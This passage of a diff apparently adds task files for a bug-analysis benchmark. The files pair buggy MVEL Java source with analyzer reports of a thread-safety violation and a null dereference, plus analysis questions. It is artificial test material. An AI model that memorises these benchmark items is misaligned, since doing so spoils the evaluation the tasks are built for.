+ * Under normal circumstances, it is completely acceptable to execute the parser/interpreter from the static
+ * convenience methods in this class.
+ *
+ * @author Christopher Brock
+ */
+public class Interpreter {
+
+    public static boolean cacheAggressively = false;
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx) {
+        return valueOf(eval(template, ctx));
+    }
+
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Map variables) {
+        return valueOf(eval(template, variables));
+    }
+
+    /**
+     * Evaluates the template expression and returns a String value.  This is only a convenience method that
+     * has the same semantics as using <tt>String.valueOf(eval(expr, vars, ctx))</tt>.
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return the resultant value represented in it's equivelant string value.
+     */
+    public static String evalToString(String template, Object ctx, Map variables) {
+        return valueOf(eval(template, ctx, variables));
+    }
+
+    /**
+     * @param template - the template to be evaluated
+     * @param ctx      - the virtual root / context of the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Object ctx) {
+        if (template == null) return null;
+        return new Interpreter(template).execute(ctx, null);
+    }
+
+    /**
+     * @param template  - the template to be evaluated
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     * @see #eval(String,Object,Map)
+     */
+    public static Object eval(String template, Map variables) {
+        return new Interpreter(template).execute(null, variables);
+    }
+
+    /**
+     * Compiles, interprets and returns the result from a template.  The value that this returns is dependant
+     * on whether or not the template actually contains any literal values.<br/>
+     * <br/>
+     * For example, an expression that is simply "<tt>@{foobar}</tt>" will return the value of <tt>foobar</tt>,
+     * not a string value.  An expression that only contains a single tag is a defacto expression and is not
+     * considered a template.<br/>
+     * <br/>
+     * An expression such as "<tt>Hello my name is: @{name}</tt>" will return the a String value as it clearly a
+     * template.<br/>
+     *
+     * @param template  - the template to be evaluated
+     * @param ctx       - the virtual root / context of the expression.
+     * @param variables - a map of variables for use in the expression.
+     * @return see description.
+     */
+    public static Object eval(String template, Object ctx, Map variables) {
+        if (template == null) return null;
+        //noinspection unchecked
+        return new Interpreter(template).execute(ctx, variables);
+    }
+
+    private char[] expression;
+    private boolean debug = false;
+    private Node[] nodes;
+    private int node = 0;
+
+    private static final Map<CharSequence, char[]> EX_PRECACHE;
+    private static final Map<Object, Node[]> EX_NODE_CACHE;
+    private static final Map<Object, Serializable> EX_PRECOMP_CACHE;
+
+    static {
+        if (MVEL.THREAD_SAFE) {
+            EX_PRECACHE = synchronizedMap(new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = synchronizedMap(new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = synchronizedMap(new WeakHashMap<Object, Serializable>());
+        }
+        else {
+            EX_PRECACHE = (new WeakHashMap<CharSequence, char[]>());
+            EX_NODE_CACHE = (new WeakHashMap<Object, Node[]>());
+            EX_PRECOMP_CACHE = (new WeakHashMap<Object, Serializable>());
+        }
+    }
+
+    static void configureFactory() {
+    }
+
+    private ExecutionStack stack;
+
+    /**
+     * Creates a new intepreter
+     *
+     * @param template -
+     */
+    public Interpreter(CharSequence template) {
+        if (!EX_PRECACHE.containsKey(template)) {
+            EX_PRECACHE.put(template, this.expression = template.toString().toCharArray());
+            nodes = new TemplateCompiler(this).compileExpression();
+            EX_NODE_CACHE.put(template, nodes.clone());
+        }
+        else {
+            this.expression = EX_PRECACHE.get(template);
+            try {
+                this.nodes = EX_NODE_CACHE.get(expression).clone();
+            }
+            catch (NullPointerException e) {
+                EX_NODE_CACHE.remove(expression);
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes.clone());
+            }
+
+        }
+        cloneAllNodes();
+
+    }
+
+    public Interpreter(String expression) {
+        if (!EX_PRECACHE.containsKey(expression)) {
+            EX_PRECACHE.put(expression, this.expression = expression.toCharArray());
+            nodes = new TemplateCompiler(this).compileExpression();
+            EX_NODE_CACHE.put(expression, nodes.clone());
+        }
+        else {
+            this.expression = EX_PRECACHE.get(expression);
+            try {
+                this.nodes = EX_NODE_CACHE.get(expression).clone();
+            }
+            catch (NullPointerException e) {
+                EX_NODE_CACHE.remove(expression);
+                nodes = new TemplateCompiler(this).compileExpression();
+                EX_NODE_CACHE.put(expression, nodes.clone());
+            }
+
+        }
+        cloneAllNodes();
+    }
+
+    private void cloneAllNodes() {
+        try {
+            for (int i = 0; i < nodes.length; i++) {
+                nodes[i] = nodes[i].clone();
+            }
+        }
+        catch (Exception e) {
+            throw new CompileException("unknown exception", e);
+        }
+    }
+
+    public Interpreter(char[] expression) {
+        this.expression = expression;
+    }
+
+    public boolean isDebug() {
+        return debug;
+    }
+
+    public void setDebug(boolean debug) {
+        this.debug = debug;
+    }
+
+    public static void parseToStream(File template, Object ctx, Map<String, Object> tokens, OutputStream out)
+            throws IOException {
+        Object result = parse(template, ctx, tokens);
+        CharSequence cs;
+
+        if (result == null) return;
+        else if (result instanceof CharSequence) {
+            cs = (CharSequence) result;
+        }
+        else {
+            cs = valueOf(result);
+        }
+
+        OutputStreamWriter writer = new OutputStreamWriter(out);
+
+        int len = cs.length();
+        for (int i = 0; i < len; i++) {
+            writer.write(cs.charAt(i));
+        }
+        writer.flush();
+        writer.close();
+    }
+
+    public static Object parse(File file, Object ctx, Map<String, Object> tokens) throws IOException {
+        if (!file.exists())
+            throw new CompileException("cannot find file: " + file.getName());
+
+        FileInputStream inStream = null;
+        ReadableByteChannel fc = null;
+        try {
+            inStream = new FileInputStream(file);
+            fc = inStream.getChannel();
+            ByteBuffer buf = allocateDirect(10);
+
+            StringAppender sb = new StringAppender((int) file.length());
+
+            int read = 0;
+            while (read >= 0) {
+                buf.rewind();
+                read = fc.read(buf);
+                buf.rewind();
+
+                for (; read > 0; read--) {
+                    sb.append((char) buf.get());
+                }
+            }
+
+            return parse(sb, ctx, tokens);
+
+        }
+        catch (FileNotFoundException e) {
+            // this can't be thrown, we check for this explicitly.
+        }
+        finally {
+            if (inStream != null) inStream.close();
+            if (fc != null) fc.close();
+        }
+
+        return null;
+    }
+
+    public static Object parse(CharSequence expression, Object ctx, Map<String, Object> vars) {
+        if (expression == null) return null;
+        return new Interpreter(expression).execute(ctx, vars);
+    }
+
+    public static Object parse(String expression, Object ctx, Map<String, Object> vars) {
+        if (expression == null) return null;
+
+        return new Interpreter(expression).execute(ctx, vars);
+    }
+
+    public Object execute(Object ctx, Map tokens) {
+        if (nodes == null) {
+            return new String(expression);
+        }
+        else if (nodes.length == 2) {
+            switch (nodes[0].getToken()) {
+                case PROPERTY_EX:
+                    //noinspection unchecked
+                    //  return ExpressionParser.eval(getInternalSegment(nodes[0]), ctx, tokens);
+
+                    if (!cacheAggressively) {
+                        char[] seg = new char[expression.length - 3];
+                        arraycopy(expression, 2, seg, 0, seg.length);
+
+                        return MVEL.eval(seg, ctx, tokens);
+                    }
+                    else {
+                        String s = new String(expression, 2, expression.length - 3);
+                        if (!EX_PRECOMP_CACHE.containsKey(s)) {
+                            synchronized (EX_PRECOMP_CACHE) {
+                                EX_PRECOMP_CACHE.put(s, MVEL.compileExpression(s));
+                                return MVEL.executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                            }
+                        }
+                        else {
+                            return MVEL.executeExpression(EX_PRECOMP_CACHE.get(s), ctx, tokens);
+                        }
+
+                    }
+                case LITERAL:
+                    return new String(expression);
+            }
+
+            return new String(expression);
+        }
+
+        Object register = null;
+
+        StringAppender sbuf = new StringAppender(10);
+        Node currNode = null;
+
+        try {
+            ExpressionParser oParser = new ExpressionParser(ctx, tokens);
+
+            initStack();
+            pushAndForward();
+
+            while ((currNode = pop()) != null) {
+                node = currNode.getNode();
+
+                switch (currNode.getToken()) {
+                    case LITERAL: {
+                        sbuf.append(register = new String(expression, currNode.getStartPos(),
+                                currNode.getEndPos() - currNode.getStartPos()));
+                        break;
+                    }
+                    case PROPERTY_EX: {
+                        sbuf.append(
+                                valueOf(register = oParser.setExpressionArray(getInternalSegment(currNode)).parse())
+                        );
+                        break;
+                    }
+                    case IF:
+                    case ELSEIF: {
+                        try {
+                            if (!((Boolean) oParser.setExpressionArray(getInternalSegment(currNode)).parse())) {
+                                exitContext();
+                            }
+                        }
+                        catch (ClassCastException e) {
+                            throw new CompileException("IF expression does not return a boolean: " + new String(getSegment(currNode)));
+                        }
+                        break;
+                    }
+
+                    case FOREACH: {
+                        String seperator = "";
+                        if (currNode.getRegister() == null || currNode.getRegister() instanceof String) {
+                            try {
+                                String props = ( String) currNode.getRegister();
+                                if ( props != null && props.length() > 0 ) {
+                                    seperator = props;
+                                }
+                                String[] lists = getForEachSegment(currNode).split( "," );
+                                Iterator[] iters = new Iterator[lists.length];
+                                for( int i = 0; i < lists.length; i++ ) {
+                                    Object listObject = new ExpressionParser(lists[i], ctx, tokens).parse();
+                                    if ( listObject instanceof Object[]) {
+                                        listObject = Arrays.asList( (Object[]) listObject );
+                                    }    
+                                    iters[i] = ((Collection)listObject).iterator() ;
+                                }
+                                currNode.setRegister( iters );
+                            } catch (ClassCastException e) {
+                                throw new CompileException("expression for collections does not return a collections object: " + new String(getSegment(currNode)));
+                            }
+                            catch (NullPointerException e) {
+                                throw new CompileException("null returned for foreach in expression: " + (getForEachSegment(currNode)));
+                            }
+                        }
+
+                        Iterator[] iters = (Iterator[]) currNode.getRegister();
+                        String[] alias = currNode.getAlias().split( "," );
+                        // must trim vars
+                        for ( int i = 0; i < alias.length; i++ ) {
+                            alias[i] = alias[i].trim();
+                        }                         
+                        
+                        if (iters[0].hasNext()) {
+                            push();
+
+                            //noinspection unchecked
+                            for ( int i = 0; i < iters.length; i++ ) {
+                                tokens.put(alias[i], iters[i].next());
+                            }
+                            sbuf.append( seperator );                                                       
+                        }
+                        else {
+                            for ( int i = 0; i < iters.length; i++ ) {
+                                tokens.remove(alias[i]);
+                            }                            
+                            exitContext();
+                        }
+                        break;
+                    }
+                    case ELSE:
+                    case END:
+                        if (stack.isEmpty()) forwardAndPush();
+                        continue;
+                    case GOTO:
+                        pushNode(currNode.getEndNode());
+                        continue;
+                    case TERMINUS: {
+                        if (nodes.length == 2) {
+                            return register;
+                        }
+                        else {
+                            return sbuf.toString();
+                        }
+                    }
+                }
+
+                forwardAndPush();
+            }
+            throw new CompileException("expression did not end properly: expected TERMINUS node");
+        }
+        catch (CompileException e) {
+            throw e;
+        }
+        catch (Exception e) {
+            if (currNode != null) {
+                throw new CompileException("problem encountered at node [" + currNode.getNode() + "] "
+                        + currNode.getToken() + "{" + currNode.getStartPos() + "," + currNode.getEndPos() + "}", e);
+            }
+            throw new CompileException("unhandled fatal exception (node:" + node + ")", e);
+        }
+    }
+
+    private void initStack() {
+        stack = new ExecutionStack();
+    }
+
+    private void push() {
+        push(nodes[node]);
+    }
+
+    private void push(Node node) {
+        if (node == null) return;
+        stack.push(node);
+    }
+
+    private void pushNode(int i) {
+        stack.push(nodes[i]);
+    }
+
+    private void exitContext() {
+        node = nodes[node].getEndNode();
+    }
+
+    public void forwardAndPush() {
+        node++;
+        push();
+    }
+
+    private void pushAndForward() {
+        push();
+        node++;
+    }
+
+    private Node pop() {
+        return (Node) stack.pop();
+    }
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param tokens     -
+     * @return -
+     * @deprecated
+     */
+    public static Object getValuePE(String expression, Object ctx, Map<String, Object> tokens) {
+        return new Interpreter(expression).execute(ctx, tokens);
+    }
+
+
+    /**
+     * @param expression -
+     * @param ctx        -
+     * @param preParseCx -
+     * @param value      -
+     * @deprecated
+     */
+    public static void setValuePE(String expression, Object ctx, Object preParseCx, Object value) {
+        PropertyAccessor.set(ctx, valueOf(eval(expression, preParseCx)), value);
+    }
+
+    public char[] getExpression() {
+        return expression;
+    }
+
+    public void setExpression(char[] expression) {
+        this.expression = expression;
+    }
+
+    private char[] getSegment(Node n) {
+        char[] ca = new char[n.getLength()];
+        arraycopy(expression, n.getStartPos(), ca, 0, ca.length);
+        return ca;
+    }
+
+    private char[] getInternalSegment(Node n) {
+        int start = n.getStartPos();
+        int depth = 1;
+
+        //noinspection StatementWithEmptyBody
+        while ((expression[start++] != '{')) ;
+
+        int end = start;
+        while (depth > 0) {
+            switch (expression[++end]) {
+                case'{':
+                    depth++;
+                    break;
+                case'}':
+                    depth--;
+                    break;
+            }
+        }
+
+        char[] ca = new char[end - start];
+        arraycopy(expression, start, ca, 0, ca.length);
+        return ca;
+    }
+
+    private String getForEachSegment(Node n) {
+        if (n.getAlias() == null) return new String(getInternalSegment(n));
+        else {
+            return n.getName();
+        }
+    }
+
+    public static boolean isCacheAggressively() {
+        return cacheAggressively;
+    }
+
+    public static void setCacheAggressively(boolean cacheAggressively) {
+        Interpreter.cacheAggressively = cacheAggressively;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Unprotected write. Non-private method `org.mvel.Interpreter.execute` indirectly writes to field `currNode.org.mvel.Node.register` outside of synchronization.
+ Reporting because this access may occur on a background thread.
+
+Note that the prefix path currNode has been contaminated during the execution, so the reported race on currNode.org.mvel.Node.register might be a false positive.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+Object Interpreter.execute(Object,Map)
+
+### Procedure Id:
+org.mvel.Interpreter.execute(java.lang.Object,java.util.Map):java.lang.Object.1db204d205aa1c616a652154b5bea12e
+
+### File:
+src/main/java/org/mvel/Interpreter.java
+
+### Key:
+Interpreter.java|execute|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+294037f05b590a3664bcb47c618c6109
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4769/instruction.md b/inferredbugs-4769/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..655d1d63b7b4ccc52e77b290dc08995e5030b798
--- /dev/null
+++ b/inferredbugs-4769/instruction.md
@@ -0,0 +1,520 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 10
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.mvel;
+
+import static org.mvel.DataConversion.canConvert;
+import org.mvel.ast.AssignmentNode;
+import org.mvel.ast.LiteralNode;
+import org.mvel.ast.Substatement;
+import org.mvel.util.ExecutionStack;
+import static org.mvel.util.ParseTools.containsCheck;
+import static org.mvel.util.ParseTools.doOperations;
+import org.mvel.util.PropertyTools;
+import org.mvel.util.Stack;
+import org.mvel.util.StringAppender;
+
+import static java.lang.Class.forName;
+import java.util.LinkedHashSet;
+import java.util.Set;
+import java.util.regex.Pattern;
+
+public class ExpressionCompiler extends AbstractParser {
+    private final Stack stk = new ExecutionStack();
+
+    private Set<String> inputs;
+    private Set<String> locals;
+
+    private Class returnType;
+
+    private boolean verifying = true;
+
+    private ParserContext pCtx;
+
+    public CompiledExpression compile() {
+        return compile(new ParserContext());
+    }
+
+    public CompiledExpression compile(ParserContext ctx) {
+        if (parserContext == null) {
+            parserContext = new ThreadLocal<ParserContext>();
+        }
+        parserContext.set(ctx);
+        
+        return _compile();
+    }
+
+    /**
+     * Initiate an in-context compile.  This method should really only be called by the internal API.
+     *
+     * @return compiled expression object
+     */
+    public CompiledExpression _compile() {
+        ASTNode tk;
+        ASTNode tkOp;
+        ASTNode tkOp2;
+        ASTNode tkLA;
+        ASTNode tkLA2;
+        ASTLinkedList astLinkedList = new ASTLinkedList();
+
+        boolean firstLA;
+
+        pCtx = getParserContext();
+
+        try {
+
+            if (verifying) {
+                inputs = new LinkedHashSet<String>();
+                locals = new LinkedHashSet<String>();
+
+                getParserContext().initializeVariableTable();
+            }
+
+            fields |= ASTNode.COMPILE_IMMEDIATE;
+
+            while ((tk = nextToken()) != null) {
+                if (tk.fields == -1) {
+                    astLinkedList.addTokenNode(tk);
+                    continue;
+                }
+
+                returnType = tk.getEgressType();
+
+                if (pCtx.isStrictTypeEnforcement() && tk instanceof AssignmentNode
+                        && (pCtx.getInputTable() == null
+                        || !pCtx.getInputTable().containsKey(tk.getName()))) {
+
+                    addFatalError("untyped var not permitted in strict-mode: " + tk.getName());
+                }
+
+                if (tk instanceof Substatement) {
+                    ExpressionCompiler subCompiler = new ExpressionCompiler(tk.getNameAsArray());
+                    tk.setAccessor(subCompiler._compile());
+
+                    if (verifying)
+                        inputs.addAll(subCompiler.getInputs());
+                }
+
+                /**
+                 * This kludge of code is to handle _compile-time literal reduction.  We need to avoid
+                 * reducing for certain literals like, 'this', ternary and ternary else.
+                 */
+                if (tk.isLiteral() && tk.getLiteralValue() != LITERALS.get("this")) {
+
+
+                    if ((tkOp = nextToken()) != null && tkOp.isOperator()
+                            && !tkOp.isOperator(Operator.TERNARY) && !tkOp.isOperator(Operator.TERNARY_ELSE)) {
+
+                        /**
+                         * If the next token is ALSO a literal, then we have a candidate for a _compile-time
+                         * reduction.
+                         */
+                        if ((tkLA = nextToken()) != null && tkLA.isLiteral()) {
+                            stk.push(tk.getLiteralValue(), tkLA.getLiteralValue(), tkOp.getLiteralValue());
+
+                            /**
+                             * Reduce the token now.
+                             */
+                            reduceTrinary();
+
+                            firstLA = true;
+
+                            /**
+                             * Now we need to check to see if this is actually a continuing reduction.
+                             */
+                            while ((tkOp2 = nextToken()) != null) {
+                                if (!tkOp2.isOperator(tkOp.getOperator())) {
+                                    /**
+                                     * We can't continue any further because we are dealing with
+                                     * different operators.
+                                     */
+                                    astLinkedList.addTokenNode(new LiteralNode(stk.pop()));
+                                    astLinkedList.addTokenNode(tkOp2);
+                                    break;
+                                }
+                                else if ((tkLA2 = nextToken()) != null
+                                        && tkLA2.isLiteral()) {
+
+                                    stk.push(tkLA2.getLiteralValue(), tkOp2.getLiteralValue());
+                                    reduceTrinary();
+                                    firstLA = false;
+                                }
+                                else {
+                                    if (firstLA) {
+                                        /**
+                                         * There are more tokens, but we can't reduce anymore.  So
+                                         * we create a reduced token for what we've got.
+                                         */
+                                        astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()));
+                                    }
+                                    else {
+                                        /**
+                                         * We have reduced additional tokens, but we can't reduce
+                                         * anymore.
+                                         */
+                                        astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()), tkOp);
+
+                                        if (tkLA2 != null) astLinkedList.addTokenNode(tkLA2);
+                                    }
+                                    break;
+                                }
+                            }
+
+                            /**
+                             * If there are no more tokens left to parse, we check to see if
+                             * we've been doing any reducing, and if so we create the token
+                             * now.
+                             */
+                            if (!stk.isEmpty())
+                                astLinkedList.addTokenNode(new ASTNode(ASTNode.LITERAL, stk.pop()));
+
+                            continue;
+                        }
+                        else {
+                            astLinkedList.addTokenNode(verify(pCtx, tk), verify(pCtx, tkOp));
+                            if (tkLA != null) astLinkedList.addTokenNode(verify(pCtx, tkLA));
+                            continue;
+                        }
+                    }
+                    else {
+                        astLinkedList.addTokenNode(verify(pCtx, tk));
+                        if (tkOp != null) astLinkedList.addTokenNode(verify(pCtx, tkOp));
+
+                        continue;
+                    }
+                }
+
+                astLinkedList.addTokenNode(verify(pCtx, tk));
+            }
+
+            if (verifying) {
+                for (String s : locals) {
+                    inputs.remove(s);
+                }
+            }
+
+
+            if (pCtx.isFatalError()) {
+                parserContext.remove();
+                throw new CompileException("Failed to _compile: " + pCtx.getErrorList().size() + " compilation error(s)", pCtx.getErrorList());
+            }
+            else if (pCtx.isFatalError()) {
+                parserContext.remove();
+                throw new CompileException("Failed to _compile: " + pCtx.getErrorList().size() + " compilation error(s)", pCtx.getErrorList());
+            }
+
+            return new CompiledExpression(new ASTArrayList(astLinkedList), getCurrentSourceFileName());
+        }
+        catch (Throwable e) {
+            parserContext.remove();
+            if (e instanceof RuntimeException) throw (RuntimeException) e;
+            else {
+                throw new CompileException(e.getMessage(), e);
+            }
+        }
+
+    }
+
+    protected ASTNode verify(ParserContext pCtx, ASTNode tk) {
+        if (tk.isDiscard() || (tk.fields & (ASTNode.OPERATOR | ASTNode.LITERAL)) != 0) return tk;
+
+        if (verifying) {
+
+            if (tk.isAssignment()) {
+                char[] assign = tk.getNameAsArray();
+                int c = 0;
+                while (c < assign.length && assign[c] != '=') c++;
+
+                String varName = new String(assign, 0, c++).trim();
+
+                if (isReservedWord(varName)) {
+                    addFatalError("invalid assignment - variable name is a reserved keyword: " + varName);
+                }
+
+                locals.add(varName);
+
+                ExpressionCompiler subCompiler =
+                        new ExpressionCompiler(new String(assign, c, assign.length - c).trim());
+
+                subCompiler._compile();
+
+                inputs.addAll(subCompiler.getInputs());
+
+                pCtx.addVariable(varName, tk.getEgressType());
+            }
+            else if (tk.isIdentifier()) {
+                inputs.add(tk.getAbsoluteName());
+
+                PropertyVerifier propVerifier = new PropertyVerifier(tk.getNameAsArray(), getParserContext());
+                returnType = propVerifier.analyze();
+
+                inputs.addAll(propVerifier.getInputs());
+            }
+        }
+
+        return tk;
+    }
+
+
+    /**
+     * This method is called when we reach the point where we must subEval a trinary operation in the expression.
+     * (ie. val1 op val2).  This is not the same as a binary operation, although binary operations would appear
+     * to have 3 structures as well.  A binary structure (or also a junction in the expression) compares the
+     * current state against 2 downrange structures (usually an op and a val).
+     */
+    private void reduceTrinary() {
+        Object v1 = null, v2 = null;
+        Integer operator;
+        try {
+            while (stk.size() > 1) {
+                operator = (Integer) stk.pop();
+                v1 = stk.pop();
+                v2 = stk.pop();
+
+                switch (operator) {
+                    case Operator.ADD:
+                    case Operator.SUB:
+                    case Operator.DIV:
+                    case Operator.MULT:
+                    case Operator.MOD:
+                    case Operator.EQUAL:
+                    case Operator.NEQUAL:
+                    case Operator.GTHAN:
+                    case Operator.LTHAN:
+                    case Operator.GETHAN:
+                    case Operator.LETHAN:
+                    case Operator.POWER:
+                        stk.push(doOperations(v2, operator, v1));
+                        break;
+
+                    case Operator.AND:
+                        stk.push(((Boolean) v2) && ((Boolean) v1));
+                        break;
+
+                    case Operator.OR:
+                        stk.push(((Boolean) v2) || ((Boolean) v1));
+                        break;
+
+                    case Operator.CHOR:
+                        if (!PropertyTools.isEmpty(v2) || !PropertyTools.isEmpty(v1)) {
+                            stk.clear();
+                            stk.push(!PropertyTools.isEmpty(v2) ? v2 : v1);
+                            return;
+                        }
+                        else stk.push(null);
+                        break;
+
+                    case Operator.REGEX:
+                        stk.push(Pattern.compile(String.valueOf(v1)).matcher(String.valueOf(v2)).matches());
+                        break;
+
+                    case Operator.INSTANCEOF:
+                        if (v1 instanceof Class)
+                            stk.push(((Class) v1).isInstance(v2));
+                        else
+                            stk.push(forName(String.valueOf(v1)).isInstance(v2));
+
+                        break;
+
+                    case Operator.CONVERTABLE_TO:
+                        if (v1 instanceof Class)
+                            stk.push(canConvert(v2.getClass(), (Class) v1));
+                        else
+                            stk.push(canConvert(v2.getClass(), forName(String.valueOf(v1))));
+                        break;
+
+                    case Operator.CONTAINS:
+                        stk.push(containsCheck(v2, v1));
+                        break;
+
+                    case Operator.BW_AND:
+                        stk.push(asInt(v2) & asInt(v1));
+                        break;
+
+                    case Operator.BW_OR:
+                        stk.push(asInt(v2) | asInt(v1));
+                        break;
+
+                    case Operator.BW_XOR:
+                        stk.push(asInt(v2) ^ asInt(v1));
+                        break;
+
+                    case Operator.BW_SHIFT_LEFT:
+                        stk.push(asInt(v2) << asInt(v1));
+                        break;
+
+                    case Operator.BW_USHIFT_LEFT:
+                        int iv2 = asInt(v2);
+                        if (iv2 < 0) iv2 *= -1;
+                        stk.push(iv2 << asInt(v1));
+                        break;
+
+                    case Operator.BW_SHIFT_RIGHT:
+                        stk.push(asInt(v2) >> asInt(v1));
+                        break;
+
+                    case Operator.BW_USHIFT_RIGHT:
+                        stk.push(asInt(v2) >>> asInt(v1));
+                        break;
+
+                    case Operator.STR_APPEND:
+                        stk.push(new StringAppender(String.valueOf(v2)).append(String.valueOf(v1)).toString());
+                        break;
+
+                    case Operator.SOUNDEX:
+                        stk.push(Soundex.soundex(String.valueOf(v1)).equals(Soundex.soundex(String.valueOf(v2))));
+                        break;
+
+                    case Operator.SIMILARITY:
+                        stk.push(PropertyTools.similarity(String.valueOf(v1), String.valueOf(v2)));
+                        break;
+
+                }
+            }
+        }
+        catch (ClassCastException e) {
+            if ((fields & ASTNode.LOOKAHEAD) == 0) {
+                /**
+                 * This will allow for some developers who like messy expressions to compileAccessor
+                 * away with some messy constructs like: a + b < c && e + f > g + q instead
+                 * of using brackets like (a + b < c) && (e + f > g + q)
+                 */
+
+                fields |= ASTNode.LOOKAHEAD;
+
+                ASTNode tk = nextToken();
+                if (tk != null) {
+                    stk.push(v1, nextToken(), tk.getOperator());
+
+                    reduceTrinary();
+                    return;
+                }
+            }
+            throw new CompileException("syntax error or incomptable types (left=" +
+                    (v1 != null ? v1.getClass().getName() : "null") + ", right=" +
+                    (v2 != null ? v2.getClass().getName() : "null") + ")", expr, cursor, e);
+
+        }
+        catch (Exception e) {
+            throw new CompileException("failed to subEval expression: <<" + new String(expr) + ">>", e);
+        }
+
+    }
+
+    private static int asInt(final Object o) {
+        return (Integer) o;
+    }
+
+
+    public Set<String> getInputs() {
+        return inputs;
+    }
+
+    public Set<String> getLocals() {
+        return locals;
+    }
+
+    public ExpressionCompiler(String expression) {
+        setExpression(expression);
+    }
+
+    public ExpressionCompiler(char[] expression) {
+        setExpression(expression);
+    }
+
+    public boolean isVerifying() {
+        return verifying;
+    }
+
+    public void setVerifying(boolean verifying) {
+        this.verifying = verifying;
+    }
+
+    public Class getReturnType() {
+        return returnType;
+    }
+
+    public void setReturnType(Class returnType) {
+        this.returnType = returnType;
+    }
+
+    public String getExpression() {
+        return new String(expr);
+    }
+
+    public ParserContext getParserContextState() {
+        return pCtx;
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `tk.getNameAsArray()` could be null and is dereferenced by call to `PropertyVerifier(...)` at line 245.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+ASTNode ExpressionCompiler.verify(ParserContext,ASTNode)
+
+### Procedure Id:
+org.mvel.ExpressionCompiler.verify(org.mvel.ParserContext,org.mvel.ASTNode):org.mvel.ASTNode.f8f2728364d4f2f343aacad6bd58f519
+
+### File:
+src/main/java/org/mvel/ExpressionCompiler.java
+
+### Key:
+ExpressionCompiler.java|verify|NULL_DEREFERENCE
+
+### Node Key:
+72ed942f8765f92c6bc7d40fd6fa610f
+
+### Hash:
+919b7428506e9d6a9b7e2b6356862e09
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-4792/instruction.md b/inferredbugs-4792/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..6e87b197a9ee247d3b65fc9efe1fd8ce2588c2b2
--- /dev/null
+++ b/inferredbugs-4792/instruction.md
@@ -0,0 +1,857 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** mvel
+**Bug ID:** 41
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.mvel.tests.perftests;
+
+import ognl.Ognl;
+import org.apache.commons.el.ExpressionEvaluatorImpl;
+import org.mvel.MVEL;
+import org.mvel.tests.main.res.Base;
+import org.mvel.tests.main.res.Foo;
+
+import javax.servlet.jsp.el.Expression;
+import javax.servlet.jsp.el.VariableResolver;
+import static java.lang.Integer.parseInt;
+import static java.lang.System.currentTimeMillis;
+import java.math.BigDecimal;
+import java.math.RoundingMode;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Performance Tests Comparing MVEL to OGNL with Same Expressions.
+ */
+public class ELComparisons implements Runnable {
+    private final Base baseClass = new Base();
+
+    public static int RUN_MVEL = 1;
+    public static int RUN_OGNL = 1 << 1;
+    public static int RUN_COMMONS_EL = 1 << 2;
+    public static int RUN_JAVA_NATIVE = 1 << 3;
